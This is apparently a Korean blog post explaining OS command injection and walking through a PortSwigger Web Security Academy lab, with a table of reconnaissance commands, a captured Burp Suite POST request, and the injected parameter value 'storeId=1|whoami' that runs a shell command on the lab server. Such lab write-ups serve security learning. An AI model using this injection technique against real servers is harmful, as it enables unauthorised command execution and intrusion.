OS Command Injection이란?
URL이나 파라미터를 통해 웹 애플리케이션이 구동되고 있는 서버의 운영체제 OS에 임의의 명령어를 실행하는 취약점이다.
Command injection/shell injection으로 불리기도 하고 위험도는 높은 편에 속하는 취약점이다.
사용자의 입력값 검증이 제대로 이루어지지 않기 때문에 발생할 수 있음. OS command injection으로 일반 사용자 수준의 권한으로는 중대한 손상을 입히지 못하지만, 권한 상승같은 다른 취약점이랑 합쳐져서 루트, 관리자 권한 계정으로 명령어를 실행하게 되면 더 위험도가 높아진다.
사용할 수 있는 명령어
Name of current user | whoami | whoami |
Operating system | uname -a | ver |
Network configuration | ifconfig | ipconfig /all |
Network connections | netstat -an | netstat -an |
Running processes | ps -ef | tasklist |
Lab: OS command injection, simple case 실습
재고확인을 하는 기능이 있고, 유저 측에서 제공된 상품ID, 스토어 ID를 포함한 쉘 명령어를 실행한다.
현재 유저를 파악하는 whoami 명령어를 실행하면 성공한다
일단 재고 확인을 하고 POST 요청 파켓을 burpsuite에서 찾음
리피터에 보내서 변조하자
POST /product/stock HTTP/2
Host: 0a89007a0399de2580aa53d40004002c.web-security-academy.net
Cookie: session=MUn2aDyv7IVKtVhL9WPvu3nMWlAK4rtu
Content-Length: 21
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: ko-KR,ko;q=0.9
Sec-Ch-Ua: "Chromium";v="135", "Not-A.Brand";v="8"
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a89007a0399de2580aa53d40004002c.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a89007a0399de2580aa53d40004002c.web-security-academy.net/product?productId=2
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
productId=2&storeId=1
여기 밑에 있는 productId, storeId 부분을 변조하면 된다
productId는 바꾸지 말고 storeId 파라미터를 바꿔보는데
or 연산자 | 을 써서 현재 디렉토리를 출력해보니 성공했다
/home/peter~ 이라는 디렉토리에서 실행되고 있다
peter-3Y5A5X
원래 과제 의도대로 storeId=1|whoami 를 실행하니
지금 사용자 이름을 출력하는데 성공했다
성공!
실제 os command injection은 이것보다 더 복잡하고 어렵다
파이썬으로 구현된 사이트 ctf을 풀어본적이 있는데
cat ../../flag.txt 이런식으로 플래그를 찾거나 디렉토리 내부 정보를 파악하는 식으로 진행하기도 한다
여튼 끝!
'웹해킹' 카테고리의 다른 글
SSRF with blacklist-based input filters 필터링 우회 (1) | 2025.04.03 |
---|---|
[Tryhackme] Passive Reconnaissance (0) | 2025.03.17 |
Web LLM Attacks 대규모 언어 모델 AI 보안 취약점 (0) | 2025.03.11 |
취약점 점검 자동화 도구 SQL Map, JWT 크랙 (0) | 2025.03.11 |
웹해킹 취약점 실습 환경 Wizmall 도커Docker에서 구축하기 (0) | 2025.03.10 |